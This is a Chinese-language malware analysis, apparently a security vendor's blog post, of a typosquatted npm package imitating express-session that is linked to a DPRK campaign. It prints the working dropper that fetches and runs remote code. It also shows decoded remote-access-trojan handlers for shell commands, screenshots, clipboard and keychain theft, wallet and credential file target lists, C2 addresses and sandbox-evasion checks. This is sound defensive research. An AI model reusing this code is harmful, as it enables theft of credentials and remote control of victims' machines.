目录
摘要
[email protected] 是一个恶意的 npm 包,它通过 typosquatting 模仿流行中间件 express-session(每周下载量超过 6000 万次)。该包包含一个 dropper,从粘贴服务获取约 93KB 的混淆有效载荷,并在每次 require() 时使用 Function.constructor 动态执行。Stage-2 有效载荷的静态反混淆揭示了完整的远程访问木马(RAT)和信息窃取器,该木马通过 Socket.IO 连接到 216[.]126[.]237[.]71,具备以下能力:浏览器凭据窃取、加密钱包提取、屏幕截图捕获、剪贴板监控、键盘记录以及远程鼠标/键盘控制。多项指标将该包与 Contagious Interview 活动联系起来,这是一个 DPRK/Lazarus 行动,已发布 338+ 个恶意 npm 包。
影响:
- 对被入侵系统的完全远程访问(鼠标、键盘、屏幕截图、剪贴板)
- 浏览器凭据窃取(Chrome、Brave、Edge、Opera 登录数据、Cookie、Web Data)
- 加密钱包浏览器扩展数据窃取
- SSH 密钥、GPG 密钥、npm token 及敏感文件外泄
- 系统信息收集和文件上传到攻击者基础设施
妥协指标(IoC):
- 包:npm 上的
[email protected] - C2 URL(dropper):
hxxps://jsonkeeper[.]com/b/YY8VI - C2 IP(RAT):
216[.]126[.]237[.]71 - C2 端口:
4801(socket.io + API)、4806(文件上传)、4809(浏览器数据库同步) - 攻击者 UID:
a36adbc35e69b22acbf9f834a0deb286 - PID 文件:
~/.npm-compiler/<process.title> - 临时目录:
~/.npm-cache/__tmp__/ - 全局安装的 npm 包:
socket.io-client、screenshot-desktop、clipboardy、@nut-tree-fork/nut-js - 维护者:
judebelingham <viktoryavorovskiy@ukr[.]net> - SHA256(tarball):
b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39
分析
包概述
express-session-js 于 2026 年 4 月 1 日 19:58 UTC 由 judebelingham 发布。仅有一个版本:1.19.0。真正的 express-session 目前版本为 1.18.1,由 dougwilson 和 ulisesgascon 维护,因此版本号的选择看起来像是"下一个"版本。
package.json 元数据是从合法项目直接复制的:
// package.json (malicious)
{
"name": "express-session-js",
"version": "1.19.0",
"description": "Simple session middleware for Express",
"author": "TJ Holowaychuk <[email protected]> (http://tjholowaychuk.com)",
"repository": "expressjs/session",
"license": "MIT"
}author、contributors、repository、homepage 和 bugs 字段都指向真正的 expressjs/session 项目。这是被盗的元数据,旨在通过粗略的 npm info 检查。实际的 npm 发布者在 judebelingham <viktoryavorovskiy@ukr[.]net> 中可见,仅在 _npmUser 和 maintainers 字段中显示,这些字段由注册表控制,无法伪造。
搜索该维护者的其他包返回零结果:这是一个为单次攻击创建的临时账户。
执行触发器
恶意代码作为 require('express-session-js') 的副作用执行。未使用安装钩子。入口点是 index.js,这是合法的 [email protected] 源代码的近似逐字副本,仅有两处精确添加。
首先,第 30 行添加了原始版本中不存在的依赖项:
// package/index.js, line 30
var req = require('request');request 模块未在 dependencies 中列出(它将从消费者的依赖树中解析或静默失败)。它仅被恶意有效载荷用于发出 HTTP 请求。
其次,dropper 函数被注入到第 604-621 行,其调用在第 702 行:
// package/index.js, lines 604-621
function initPlugin(reqoptions = { headers: { bearrtoken: 'logo' }, url: 'https://jsonkeeper.com/b/YY8VI' }, ret = 1) {
const mreq = (atlf) => {
req(reqoptions, (e, r, b) => {
if (e || r.statusCode !== 200) {
if (atlf > 0) {
mreq(atlf - 1);
}
return;
}
try {
const handler = new Function.constructor('require', JSON.parse(b).data);
if (handler) handler(require);
} catch (err) {
if (atlf > 0) {
mreq(atlf - 1);
}
return;
}
});
};
mreq(ret);
}// package/index.js, line 702
initPlugin();对合法 [email protected]/index.js 和恶意版本之间的差异确认仅有三处更改:require('request') 导入、initPlugin 函数及其调用。该函数被放置在 getcookie() 和 hash() 之间,夹在合法的会话管理代码中,审查者可能会跳过它。
Stage-2 有效载荷:反混淆
位于 hxxps://jsonkeeper[.]com/b/YY8VI 的粘贴服务托管着一个约 93KB 的 JSON blob。Dropper 从解析的响应中提取 .data(JSON.parse(b).data),但粘贴服务返回的实际 JSON 将有效载荷包装在 cookie 下:
// Response from hxxps://jsonkeeper[.]com/b/YY8VI
{
"cookie": "function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5)..." // ~93KB obfuscated JS
}JSON.parse(b).data 通过此结构求值为 undefined,这意味着 RAT 有效载荷在分析时不会通过此特定 dropper 执行。不过,粘贴服务内容是可变的,因此攻击者可以随时将密钥重命名为 data(或在新包版本中更新 dropper)。
原始 stage-2 有效载荷的片段显示了混淆的程度:
// Stage-2 payload from hxxps://jsonkeeper[.]com/b/YY8VI (truncated)
function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5);var e=a();var f=e[b];
if(c['JUoTLE']===undefined){var g=function(l){var m='abcdefghijklmnopqrstu
vwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=
-0x1dd9+-0x2520+0x42f9,q,r,s=-0x1294+-0x22a+0x14be;r=l['charAt'](s++);~r
&&(q=p%(-0x2190+0x1435+0xd5f)?q*(0xa*-0x223+-0x7dc+0x1d7a)+r:r,p++%
(0xaab*0x3+-0xde5*-0x2+-0x3bc7))?n+=String['fromCharCode'](0x2258+-0x16b5
+0x1c6*-0x6&q>>(-(0x16fe+-0x7f*-0x1b+0x2461*-0x1)*p&0x254a+-0x1de*-0x3
+-0x2ade)):0x0){r=m['indexOf'](r);}/*...93KB continues...*/混淆的有效载荷使用标准 JavaScript 混淆器模式,包含:
- 1,334 个元素的字符串数组,由旋转函数打乱(旋转偏移:369)
- 两个解码函数:
b()用于 base64 解码(自定义小写优先字母表),c()用于 base64 + RC4 解密,每次调用使用不同的密钥 - Webpack 风格的模块打包器,带有两个内部模块
我们通过重新实现自定义 base64 解码器(字母表:abcdefghijklmnopqrstuvwxyz 在 ABCDEFGHIJKLMNOPQRSTUVWXYZ 之前)和 RC4 解密(使用 Python),然后通过针对目标值 804499 求值打乱函数的校验和来暴力破解数组旋转,从而执行了完整的静态反混淆。这使我们能够在不执行任何代码的情况下解码有效载荷中的所有 1,057 个唯一字符串引用。
Stage-2 有效载荷:C2 配置
有效载荷中的模块 0x110 包含一个 JSON 配置对象,解码后为:
{
"uid": "a36adbc35e69b22acbf9f834a0deb286",
"ukey": 804,
"t": 8,
"p": 4801,
"kp": 4808,
"lpt": 4809,
"upt": 4806,
"a": 216,
"b": 126,
"c": 237,
"d": 71,
"e": 216,
"f": 126,
"g": 237,
"h": 71
}a 到 h 字段是 IP 地址八位组。有效载荷通过用点连接它们来构造 C2 地址:
a.b.c.d=216[.]126[.]237[.]71e.f.g.h=216[.]126[.]237[.]71(同一地址)
uid 字段是攻击者的活动标识符。端口字段映射到不同的服务:p(4801)用于主 Socket.IO 连接和 API 端点,upt(4806)用于文件上传,kp/lpt(4808/4809)用于额外的数据通道。
模块 0x13d 通过从 dropper 传递的 require 函数加载 child_process,使有效载荷能够访问 execSync、exec 和 spawn。
Stage-2 有效载荷:RAT 能力
外部加载器生成 4 个独立的 node -e 子进程,每个都是自包含的模块。它们组合在一起形成一个功能完整的远程访问木马。
远程 Shell 和桌面控制(命令 1)
RAT 的依赖项(socket.io-client、screenshot-desktop、clipboardy、@nut-tree-fork/nut-js、sharp)都未打包在恶意包本身中。相反,有效载荷在运行时通过 execSync 在受害者系统上全局安装它们。这使包 tarball 保持较小,并避免静态分析工具标记包内容中可疑的原生模块。
解码的命令 1 字符串数组包含字面安装命令:
'npm install -g socket.io-client '
'--save --no-warnings --no-save -' // continues: '--no-progress --loglevel silent'
'Installing socket.io-client' // log message sent to C2 before install从解码的字符串片段重建,完整安装调用为:
// Decoded from command 1 string array
execSync(
'npm install -g socket.io-client screenshot-desktop clipboardy ' +
'@nut-tree-fork/nut-js --save --no-warnings --no-save ' +
'--no-progress --loglevel silent',
{ windowsHide: true }
);这些标志抑制所有可见输出:--loglevel silent 和 --no-progress 阻止终端输出,windowsHide: true 在 Windows 上阻止控制台窗口。全局安装(-g)确保模块可用于独立于原始包运行的分离子进程。
安装后,模块通过 socket.io-client 连接到 C2。连接使用 Socket.IO 特定选项,在解码代码中可见:
// Decoded from command 1 (socket.io connection)
io('http://' + C2_IP + ':' + port, {
reconnectionAttempts: 0,
reconnectionDelay: 2000, // 0x7d0
timeout: 2000000, // 0x1e8480
});然后它注册 13 个 Socket.IO 事件处理器以实现完全远程控制:
// Remote shell execution
socket.on('command', (data) => {
exec(data.message, { windowsHide: true, maxBuffer: 10 * 1024 * 1024, cwd: os.homedir() }, (err, stdout, stderr) => {
socket.emit('result', { ...data, result: stdout, uid, t });
});
});
// Screenshot capture (compressed via sharp)
socket.on('screenshot', async ({ quality, sid }) => {
let img = await screenshotDesktop({ format: 'png' });
img = await sharp(img).jpeg({ quality, mozjpeg: true }).toBuffer();
socket.emit('screenshotResult', { sid, img: img.toString('base64') });
});
// Mouse control via @nut-tree-fork/nut-js
socket.on('mouseMove', async ({ x, y }) => {
/* ... */
});
socket.on('mouseClick', async (button) => {
/* LEFT/MIDDLE/RIGHT */
});
socket.on('mouseScroll', async ({ direction, amount }) => {
/* ... */
});
// Keyboard control
socket.on('keyboard', async ({ type, key }) => {
/* pressKey/releaseKey */
});
socket.on('keyCombo', async ({ modifiers, key }) => {
/* e.g. Ctrl+V */
});
// Clipboard
socket.on('getClipboard', async (data) => {
/* read and exfiltrate */
});
socket.on('pasteText', async (data) => {
/* write + simulate Ctrl+V */
});位于 ~/.npm-compiler/<process.title> 的 PID 文件确保只有一个实例运行。如果检测到另一个实例,新实例会静默退出。
浏览器凭据窃取(命令 2)
第二个模块针对 Windows、macOS 和 Linux 上的浏览器数据目录:
- Chrome:
Google/Chrome/User Data、.config/google-chrome - Brave:
BraveSoftware/Brave-Browser/User、.config/BraveSoftware/Brave-Browser - Edge:
Microsoft/Edge/User Data、.config/microsoft-edge - Opera:
operasoftware.Opera - LT Browser:
LT Browser/User Data、.config/lt-browser
从每个浏览器配置文件(Default、Profile 1 等)中,它提取三个 SQLite 数据库:Login Data(保存的密码)、Cookies 和 Web Data(自动填充)。在 macOS 上,它还窃取登录 Keychain:
// Decoded from command 2
await uploadFile(process.env.HOME + '/Library/Keychains/login.keychain-db');加密钱包扩展窃取(命令 2)
同一浏览器窃取模块扫描 Local Extension Settings/ 目录以查找加密钱包扩展 ID:
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)
aholpfdialjgjfhomihkjbmgjidlcdno
bfnaelmomeimhlpmgjnjophhpkkoljpa
aeachknmefphepccionboohckonoeemg
egjidjbpglichdcondbcbdnbeeppgdph
ppbibelpcjmhbdihakflkdcoccbgbkpo
hifafgmccdpekplomjjkcfgodnhcellj
... (24+ extension IDs total)它将每个钱包的 LevelDB 存储复制到临时目录(~/.npm-cache/__tmp__/),并通过 FormData 将所有文件上传到 hxxp://216[.]126[.]237[.]71:4809/upload。
敏感文件扫描(命令 3)
第三个模块递归扫描用户主目录中的敏感文件:
- SSH 密钥:
.ssh - GPG 密钥:
.gnupg - npm 凭据:
.npmrc、.npm - 云凭据:
.aws - 文件模式:
*.pem、*.key、*.secret、*.env*、*.csv、*.sqlite、*.pdf、*.doc*
它跳过常见的非敏感目录(node_modules、dist、.git、cache 等),并将匹配的文件(小于 5MB)上传到 C2。
数据外泄
被盗数据通过多个通道发送到 216[.]126[.]237[.]71:
- 端口
4801上的 Socket.IO:双向命令和控制、shell 结果、屏幕截图 - 端口
4801上的POST /api/service/makelog:操作日志、剪贴板内容 - 端口
4801上的POST /api/service/process/<uid>:系统信息、VM 检测结果 - 端口
4806上的POST /upload:通过FormData进行文件外泄 - 端口
4809上的POST /cldbs:浏览器数据库同步查询
在撰写本文时,C2 基础设施仍然活跃。端口 4801 上的 Socket.IO 握手探测返回有效会话:
0{"sid":"INqUCe-RszMuKygCACih","upgrades":["websocket"],
"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}端口 4809 响应 Express.js 头,CORS 完全开放:
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *只有解码配置中的三个端口(4801、4806、4809)处于开放状态;相邻端口(4802、4803、4805、4810)关闭,确认基础设施与有效载荷配置完全匹配。hxxps://jsonkeeper[.]com/b/YY8VI 处的 dropper 有效载荷也仍然活跃(HTTP 200,93,229 字节)。
规避
VM/沙箱检测在报告给 C2 之前使用平台特定检查:
// Decoded from command 1
// Windows: WMI query
execSync('powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"');
// macOS: system_profiler
execSync('system_profiler SPHardwareDataType');
// Linux: /proc/cpuinfo
fs.readFileSync('/proc/cpuinfo', 'utf8');
// All checked against: /vmware|virtualbox|qemu|parallels|kvm|xen|bochs|hypervisor/i其他规避技术:
- 错误静默:
process.on('uncaughtException', () => {})和process.on('unhandledRejection', () => {}) - 位于
~/.npm-compiler/的 PID 文件以避免运行多个实例 - 使用
--loglevel silent --no-progress运行时安装依赖项以抑制输出 - 作为分离进程生成,参数为
stdio: 'ignore'和windowsHide: true
活动归因:Contagious Interview(DPRK/Lazarus)
多项指标将该包与 Contagious Interview 活动联系起来,该活动归因于 Lazarus 子组织(被各供应商跟踪为 Famous Chollima、UNC5342、DeceptiveDevelopment 和 Sapphire Sleet)。
RouterHosting/Cloudzy(AS14956)上的 C2 托管: C2 IP 216[.]126[.]237[.]71 托管在 AS14956(RouterHosting LLC,以 Cloudzy 运营)上,FOFA 文档 记录为 Contagious Interview 的首选 VPS 提供商。同一 /16 范围内的其他 IP 已确认为 Lazarus C2 基础设施:216.126.229.166:1224 被 ThreatBook 标记,216.126.227.239 被 Red Asgard 识别为 Contagious Interview FTP 基础设施。
jsonkeeper.com 作为有效载荷主机: 使用 JSON 存储服务进行恶意软件传递是已确认的 Contagious Interview TTP。NVISO Labs 记录了 该活动使用的 16+ 个 jsonkeeper.com URL,Microsoft 确认 其报告中的相同模式。
OtterCookie 恶意软件工具包: socket.io-client 用于 C2 通信、screenshot-desktop 用于屏幕捕获、sharp 用于图像压缩、clipboardy 用于剪贴板访问的组合匹配记录的 OtterCookie v4/v5 模块集。添加 @nut-tree-fork/nut-js 用于鼠标和键盘控制可能代表了对完整远程桌面交互的能力升级,超出了早期 OtterCookie 版本中记录的键盘记录和屏幕截图功能。
规模: 该活动使用 npm 生态系统中的 typosquatting 发布338+ 个恶意 npm 包。
红旗摘要
| 信号 | 详情 |
|---|---|
| 单一版本 | 仅 1.19.0,无历史记录 |
| 版本抢注 | 真正的 express-session 版本为 1.18.x |
| 被盗元数据 | author、repository、homepage 都指向 expressjs/session |
| 临时维护者 | judebelingham 没有其他包 |
| 添加的依赖项 | require('request') 不在原始版本中 |
| 动态代码执行 | 使用获取的有效载荷的 Function.constructor |
| 可变 C2 | 粘贴服务 URL 可随时更新 |
| 完整 RAT 有效载荷 | 远程控制、凭据窃取、加密钱包窃取、键盘记录 |
| DPRK 归因 | C2 位于 Lazarus 关联托管、OtterCookie 工具包、jsonkeeper TTP |
如果受到影响该怎么办
立即删除该包:
npm remove express-session-js因为 stage-2 有效载荷是一个具有凭据窃取能力的完整 RAT,任何导入过 express-session-js 的系统都应被视为完全被入侵:
- 轮换系统上可访问的所有密钥、API 密钥和凭据
- 撤销并重新生成 SSH 密钥和 GPG 密钥
- 更改任何保存浏览器凭据的账户密码
- 检查加密钱包扩展是否有未经授权的交易
- 审查 npm token 并撤销存储在
.npmrc中的任何 token - 审计系统中的持久化机制(PID 文件、已安装的包如
socket.io-client、screenshot-desktop、clipboardy)
SafeDep 如何提供帮助
免费开源工具 vet 与 SafeDep Cloud 的恶意包扫描服务集成,在安装前检测此类威胁。vet-action 作为 GitHub Actions 护栏提供相同的保护。
参考
-
vet
-
云
-
恶意软件
SafeDep 博客的最新内容
关注以获取开源安全与工程的最新更新和见解